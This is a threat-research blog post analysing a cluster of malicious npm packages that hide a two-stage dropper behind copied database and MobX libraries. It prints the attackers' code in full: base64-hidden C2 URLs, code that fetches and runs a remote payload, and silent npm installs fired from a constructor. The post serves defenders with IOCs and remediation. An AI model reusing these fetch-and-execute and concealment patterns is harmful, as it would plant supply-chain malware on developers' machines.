CentrioleBlog
Back to blog

Threat Research

The db-* Cluster: Four npm Accounts, Nine Packages, One Expanding Payload Chain

Nine related npm packages across four publisher accounts built a two-stage dropper network active since June 9, 2026, sharing jsonkeeper C2 infrastructure and a common code template across every variant.

Date

Reading time

15 min read

Author

Centriole Research
Share
The db-* Cluster: Four npm Accounts, Nine Packages, One Expanding Payload Chain

Nine npm packages. Four publisher accounts. A two-stage dropper network where loader packages never touch the C2 directly, and the terminal dropper packages rotate across three separate jsonkeeper URLs, each serving payloads to a different slice of the campaign.

The four packages in today’s advisory are not the beginning of this campaign. They are the most recent layer. We traced the infrastructure back to June 9, 2026, found a nuked original package, and identified five additional related packages across two accounts that have been live on the registry since June 10 and June 12. Every package in the cluster uses the same HASH_KEY/atob() obfuscation pattern, the same divblox connector class as cover, and the same detached-node execution model. We pulled and analyzed all nine.

How the Chain Works

The campaign has two tiers. The terminal dropper packages (db-connector-log, db-query-log, db-dx-connector) each embed queryDBConnect() directly, fetching and executing a remote payload. The loader packages (db-plog, db-rake) impersonate legitimate MobX model libraries, and their Model constructor silently installs one of the terminal droppers at runtime, then calls queryDBConnect() on it.

The separation matters. Scanning the loader packages for suspicious strings turns up nothing.

Before tracing the chain forward, we traced it back. The npm registry shows clsx-js was taken down by npm on June 9, 2026 at 14:46 UTC, receiving a 0.0.1-security placeholder. The commented execSync("npm uninstall clsx-js && npm install clsx-js") block left in both db-plog and db-rake identifies clsx-js as the original attack target. The campaign began with clsx-js, was taken down within hours, and the operator pivoted. db-dx-connector appeared on the same day at 17:03 UTC, two and a half hours after the clsx-js takedown. The commented block was not cleaned before the new packages were published. db-plog and db-rake declare mobx and child_process as dependencies. There is no C2 URL in either package. The URL lives two hops away, inside whichever terminal dropper gets fetched at runtime.

Package Anatomy

The Terminal Droppers

Three packages impersonate the legitimate divbloxjs/dx-db-connector library. All three copy the full DivbloxDatabaseConnector class verbatim from that upstream, including its complete JSDoc comments, error handling, and connection pool logic. All three set repository, homepage, and bugs fields in package.json to the real divblox GitHub repository. All three declare Johan Griesel, johan@divblox.com - Divblox (Pty) Ltd as author. None of them are affiliated with Divblox.

The attacker-added method is queryDBConnect(), absent from the real upstream API. It sits inline with legitimate methods like queryDB(), beginTransaction(), and commitTransaction(). At a glance, it looks like it belongs.

index.js: queryDBConnect() in db-connector-log and db-query-log (identical)
async queryDBConnect() {
    const HASH_KEY = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9aSUFJSw";
    const s1 = (await axios.get(atob(HASH_KEY))).data.content;
 
    const Mod = require("node:module");
    const m = new Mod.Module("error.js", module.parent);
    m.filename = "error.js";
    m.paths = Mod.Module._nodeModulePaths(process.cwd());
    m._compile(s1, "error.js");
}

atob(HASH_KEY) decodes to https://www.jsonkeeper.com/b/ZIAIK. The response’s .content field is fetched via axios, then compiled and executed as a full Node.js module using Module._compile(). This is not eval. _compile() gives the fetched code complete access to require, module, exports, and __dirname, identical to loading a local file. Errors are silently swallowed by a surrounding try/catch.

db-connector-log uses a different jsonkeeper URL, decoded from a different base64 literal, extracting the .session field instead of .content:

index.js: queryDBConnect() variant in db-connector-log
async queryDBConnect() {
    const HASH_KEY = "aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL0w0MzVB";
    const s1 = (await axios.get(atob(HASH_KEY))).data.session;
    const child = spawn("node", [], {
        detached: true,
        stdio: ["pipe", "ignore", "ignore"],
    });
    child.stdin.write(s1);
    child.stdin.end();
    child.unref();
}

db-connector-log takes a different execution path: the fetched JavaScript is piped to stdin of a detached node process rather than compiled in-process. The detached child outlives the parent. The child.unref() call ensures the parent does not wait for it.

Three publisher accounts. Two jsonkeeper URLs. Two execution mechanisms. One campaign.

The Loader Packages

db-plog and db-rake are copied from Austin Malerba’s mobx-model library, a MobX-backed in-memory database with a Model class as its primary API. The package description is blank. The author field in package.json is Austin Malerba, the real upstream author. The attacker added one static method to Model: resetor().

resetor() is called unconditionally from Model’s constructor:

dist/index.js: Model constructor in db-plog and db-rake
constructor(data) {
    this._deleted = false;
    this._id = this.getClass().idSelector(data);
    this.constructor.resetor();   // fires on every Model instantiation
    // ... rest of constructor
}

Every new Model(data) call triggers resetor(). That is the package’s entire advertised API. Normal use is the attack surface.

db-plog’s resetor() uses execSync directly:

dist/index.js: resetor() in db-plog
static resetor() {
    try {
        const DxDatabaseConnector = require("db-connector-log");
        const db = new DxDatabaseConnector({});
        db.queryDBConnect();
    } catch (err) {
        try {
            execSync(
                `npm install db-connector-log --no-warnings --no-save --no-progress --loglevel silent`,
                { windowsHide: true }
            );
            const DxDatabaseConnector = require("db-connector-log");
            const db = new DxDatabaseConnector({});
            db.queryDBConnect();
        } catch (error) {}
    }
}

If db-connector-log is already installed, it loads and calls queryDBConnect() immediately. If not, it installs it silently using execSync with --loglevel silent and windowsHide: true, then calls queryDBConnect(). All output suppressed. No visible indicator to the developer.

db-rake uses the same structure, but routes to db-query-log instead of db-connector-log, and conceals the install call further by aliasing oubliette’s syncApi as npm:

dist/index.js: resetor() in db-rake, npm install concealed via oubliette
const { syncApi: npm } = require("oubliette");
 
static resetor() {
    try {
        const DxDatabaseConnector = require("db-query-log");
        const db = new DxDatabaseConnector({});
        db.queryDBConnect();
    } catch (err) {
        try {
            npm().install("db-query-log", {
                "no-warnings": true,
                "no-save": true,
                "no-progress": true,
                loglevel: "silent",
            });
            const DxDatabaseConnector = require("db-query-log");
            const db = new DxDatabaseConnector({});
            db.queryDBConnect();
        } catch (error) {}
    }
}

oubliette is a legitimate npm utility wrapping child_process.execSync. Aliasing its syncApi export as npm means call sites read as npm().install(...) rather than execSync('npm install ...'). Any static analysis pattern matching on execSync or child_process misses this entirely.

The ESM Evasion

Both db-plog and db-rake ship two bundles. dist/index.js is the CJS build, declared as main in package.json. dist/index.mjs is the ESM build, declared as module.

The dropper lives only in dist/index.js. We checked dist/index.mjs directly: no resetor() method, no execSync reference, no oubliette import, no queryDBConnect() call. The ESM build is clean.

A developer reviewing the package via a bundler that reads module before main would see clean code. A security tool scanning the ESM entry point would see nothing suspicious. The dropper fires only in CommonJS environments, which covers virtually all server-side Node.js usage.

Two divergent builds from one Rollup configuration. That is not a build error.

The theta Sub-chain

The rezk account published a third loader-dropper pair on June 12, using a different cover story. theta-kit poses as a JavaScript composition utility (keywords: lambda, publish, compose, modular) and copies metadata from a real npm package. Its lib/index.js exports getThetaInterface(), called unconditionally from index.js on load via a postinstall hook in version 1.0.1, and on require() in version 1.0.3.

lib/index.js: getThetaInterface() in theta-kit v1.0.3
const DEV_API_KEY = "aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iLzJQNUZB";
 
const getThetaInterface = async () => {
  const s1 = (await axios.get(atob(DEV_API_KEY))).data.cookie;
  const child = spawn('node', [], { detached: true, stdio: ['pipe', 'ignore', 'ignore'] });
  child.stdin.write(s1);
  child.stdin.end();
  child.unref();
};

DEV_API_KEY is the same pattern as HASH_KEY in the db-* packages. atob(DEV_API_KEY) decodes to https://jsonkeeper.com/b/2P5FA. The .cookie field is extracted and piped to a detached node process. Same execution model as db-connector-log and theta-connector, different variable name, different URL, different JSON field.

theta-connector is the standalone terminal dropper that theta-kit v1.0.1 declared as a dependency. It uses the same URL and the same spawn execution model but fires via method call rather than through the theta-kit import chain.

Campaign Architecture and Timeline

We mapped the full publish sequence across all five packages and three accounts from registry metadata:

Date (UTC)AccountPackageVersionRole
2026-06-09 14:46npm (security hold)clsx-js0.0.1-securityOriginal attack target, nuked same day
2026-06-09 17:03venussirvedb-dx-connector1.0.0Terminal dropper, C2: /b/ZIAIK, pivot from clsx-js
2026-06-10 11:41retefuente001cache-section-helper1.0.7Standalone dropper, postinstall hook, C2: /b/L435A
2026-06-12 15:50rezktheta-connector1.0.0Terminal dropper, C2: /b/2P5FA
2026-06-12 16:10rezktheta-kit1.0.0Loader package: calls getThetaInterface() which calls theta-connector
2026-06-12 16:45rezktheta-kit1.0.1Added theta-connector dep and postinstall hook
2026-06-12 18:22rezktheta-kit1.0.3Latest: final getThetaInterface() pattern
2026-06-16 13:08venussirvedb-dx-connector1.0.1Updated
2026-06-17 11:26retefuente001db-plog1.0.0Loader: installs db-connector-log
2026-06-17 11:45retefuente001db-plog1.0.1Revised loader
2026-06-17 11:46retefuente001db-connector-log1.0.0Terminal dropper, C2: /b/L435A, same URL as cache-section-helper
2026-06-18 18:37venussirvedb-dx-connector1.0.2Updated
2026-06-19 18:22venussirvedb-dx-connector1.0.3Latest
2026-06-20 18:15vectormoon19817db-query-log1.0.1Terminal dropper, C2: /b/ZIAIK, same URL as db-dx-connector
2026-06-20 18:16vectormoon19817db-rake1.0.1Loader: installs db-query-log via oubliette
2026-06-20 19:06vectormoon19817db-rake1.0.2Revised loader

The terminal droppers were seeded before the loader packages in both sub-chains. db-dx-connector was published June 9, eight days before db-plog appeared on June 17. db-query-log appeared at 18:15 on June 20, one minute before db-rake at 18:16.

The one-minute gap between db-query-log and db-rake is the attacker confirming the terminal dropper was live before publishing the loader that depends on it.

We decoded all base64 HASH_KEY values directly from the source of every package in the cluster:

Decoded URLJSON fieldPackages using this URL
https://jsonkeeper.com/b/L435A.sessioncache-section-helper, db-connector-log
https://www.jsonkeeper.com/b/ZIAIK.contentdb-dx-connector, db-query-log
https://jsonkeeper.com/b/2P5FA.cookietheta-connector, theta-kit

Three C2 URLs, three JSON field names, each pair shared across two packages. The field name rotation (session, content, cookie) means changing which URL the operator uses does not require changing the server-side payload schema, only the field name the dropper reads. This is an operator who manages multiple independent payload configurations.

The cache-section-helper package was also published by retefuente001. When we pulled the npm registry history for that account, cache-section-helper appeared alongside db-plog and db-connector-log. Same account, same C2 URL, earlier package. cache-section-helper uses a postinstall hook and hex-encodes the URL rather than base64-encoding it, making it the earliest documented variant of the operator’s technique.

We searched all four publisher emails (venussirve@proton.me, retefuente001@gmail.com, rezk37431@gmail.com, michaeldilkins@hotmail.com) against VirusTotal, Shodan, prior malicious package lists, and the kmsec DPRK attribution feed. None appear in any prior threat intelligence feed.

OPSEC Failures

The commented-out clsx-js block in both db-plog and db-rake is the most revealing mistake. Identical in both:

dist/index.js: commented attack template left in both loader packages
// (function () {
//     try {
//       execSync("npm uninstall clsx-js && npm install clsx-js", {
//         stdio: "ignore",
//         windowsHide: true,
//       });
//     } catch (error) {}
//   })()

This is a prior version of the dropper, targeting a different package. clsx-js does not exist as a malicious package in current OSV data, which suggests either it was a test target or the campaign against it was abandoned. The comment was not removed before publishing. It documents the attacker’s development process and confirms this is an intentionally engineered dropper, not a dependency accident.

db-query-log and db-dx-connector share an identical queryDBConnect() method body and the same HASH_KEY literal. Two packages, two accounts, same code, same C2. The code was copy-pasted without modification.

The three accounts each used different email providers: Proton Mail (venussirve), Gmail (retefuente001), and Hotmail (vectormoon19817). Using separate providers per account persona is consistent with deliberate operational separation.

IOC Table

IndicatorTypeValueMethod
db-connector-lognpm package1.0.0Identified in OSV MAL-2026-6142
db-plognpm package1.0.1Identified in OSV MAL-2026-6538
db-rakenpm package1.0.1, 1.0.2Identified in OSV MAL-2026-6540
db-query-lognpm package1.0.1Identified in OSV MAL-2026-6539
db-dx-connectornpm package (related)1.0.0-1.0.3Pulled from registry; identified as terminal dropper fetched by db-rake at runtime
db-connector-log/index.jsMalicious fileSHA256: fdd4079dacc0597f3de3d409fac53448930461eeb38a9569888f4110a43ceec2Hash confirmed against extracted tarball; matches OSV advisory
db-query-log/index.jsMalicious fileSHA256: 5ec319f44610644a95e0cfaccf4fba6cbe3b2f0a1532f9179bcff3d22b121cbeHash confirmed against extracted tarball; matches OSV advisory
db-plog/dist/index.jsMalicious fileSHA256: c3946ddee67410aba816f9a2bfa5c5bddf526d3d4dd50619ba39ea9521cf243dHash confirmed against extracted tarball; matches OSV advisory
db-rake/dist/index.jsMalicious fileSHA256: 12941c281e8ea346e10b8c78dfcef0e347f8a2f76fe1a74e066dbf443523191fHash confirmed against extracted tarball; matches OSV advisory
https://jsonkeeper.com/b/L435AC2 URL.session field executedDecoded from atob(HASH_KEY) in db-connector-log/index.js; shared with cache-section-helper (MAL-2026-5604)
https://www.jsonkeeper.com/b/ZIAIKC2 URL.content field compiled via Module._compile()Decoded from atob(HASH_KEY) in db-query-log/index.js and db-dx-connector/index.js
venussirve@proton.mePublisher emailAccount: venussirvePulled from registry metadata during triage
retefuente001@gmail.comPublisher emailAccount: retefuente001Pulled from registry metadata during triage
michaeldilkins@hotmail.comPublisher emailAccount: vectormoon19817Pulled from registry metadata during triage
clsx-jsPrior attack target (commented)execSync('npm uninstall clsx-js && npm install clsx-js')Read directly from commented block in db-plog and db-rake dist/index.js
cache-section-helpernpm package1.0.7Pulled from registry; retefuente001 account; SHA1: 411e631204f3369a31640efcdf9c8b71dae141e9
theta-connectornpm package1.0.0Pulled from registry; rezk account; SHA1: 0f3c8cf4578a72041a3badc8062b9ccfd63d1ce0
theta-kitnpm package1.0.0-1.0.3Pulled from registry; rezk account; SHA1 (1.0.3): 165aba0980c4282843a9d4eb85ac206896bcbb16
https://jsonkeeper.com/b/2P5FAC2 URL.cookie field piped to detached nodeDecoded from atob(DEV_API_KEY) in theta-kit/lib/index.js and theta-connector/index.js
rezk37431@gmail.comPublisher emailAccount: rezkPulled from registry metadata during triage

Affected Versions

PackageVersionPublished (UTC)Tarball SHA1Current StatusOSV Entry
db-connector-log1.0.02026-06-17 11:46:559f34821eca98d0586b1762ca073c58ea47f2458fLiveIN-MAL-2026-007038
db-plog1.0.12026-06-17 11:45:111e7000da12ac4510ab342ab46ce5b2383617e8c6LiveIN-MAL-2026-007665
db-rake1.0.12026-06-20 18:16:029e8ac7b89ff0782e9ca6f5b843072771bb307195LiveIN-MAL-2026-007667
db-rake1.0.22026-06-20 19:06:06bb4919c3a328872c7c14cfd4cc3583b3a49a9573LiveIN-MAL-2026-007668
db-query-log1.0.12026-06-20 18:15:2458914cf4014ddb78c449dfb2f02e3e6ff26f300bLiveIN-MAL-2026-007669
db-dx-connector1.0.0-1.0.32026-06-09 to 2026-06-19VariousLiveNot in OSV (identified as terminal dropper from db-rake chain)
cache-section-helper1.0.72026-06-10 11:41:15411e631204f3369a31640efcdf9c8b71dae141e9LiveMAL-2026-5604
theta-connector1.0.02026-06-12 15:50:130f3c8cf4578a72041a3badc8062b9ccfd63d1ce0LiveNot yet in OSV (identified during expanded research)
theta-kit1.0.0-1.0.32026-06-12 16:10 to 18:22VariousLiveNot yet in OSV (identified during expanded research)

Remediation

  1. Search package-lock.json, yarn.lock, and pnpm-lock.yaml for all nine package names: db-connector-log, db-plog, db-rake, db-query-log, db-dx-connector, cache-section-helper, theta-connector, theta-kit. Any match is malicious. db-dx-connector and theta-connector will not appear in lockfiles unless a loader package executed at runtime and installed them silently.

  2. If db-plog or db-rake were installed and Model was ever instantiated in application code, resetor() ran. Check node_modules for the presence of db-connector-log or db-query-log. If either is present, the terminal dropper executed and fetched from jsonkeeper.com.

  3. Check egress logs for outbound HTTPS GET requests to jsonkeeper.com/b/L435A and www.jsonkeeper.com/b/ZIAIK. Either URL in logs confirms payload delivery. Note the timestamp of the first connection: that is when the remote payload executed.

  4. For db-connector-log: check for orphaned node processes that were spawned detached from the application process. These will have no controlling terminal and no stdout/stderr.

  5. Rotate all credentials accessible from the affected process at payload execution time: database credentials (these packages specifically target database developers), npm tokens, GitHub tokens, cloud provider credentials, and any environment variables present in the process at the time.

  6. If db-plog or db-rake was in a CI/CD pipeline and Model was instantiated during a test or build step, treat all secrets in that pipeline job as exposed.

  7. Block outbound connections to jsonkeeper.com from build servers and developer machines unless the service is in active legitimate use. Both C2 URLs remain live and mutable. The operator can update the payload without republishing any package.

The operator controls the payload through three live jsonkeeper URLs across nine packages. All nine remain published. The campaign has been running since June 9, adding new accounts and new packages every few days. Any machine that ran the affected code can be served a different payload tomorrow, with no change to any published package.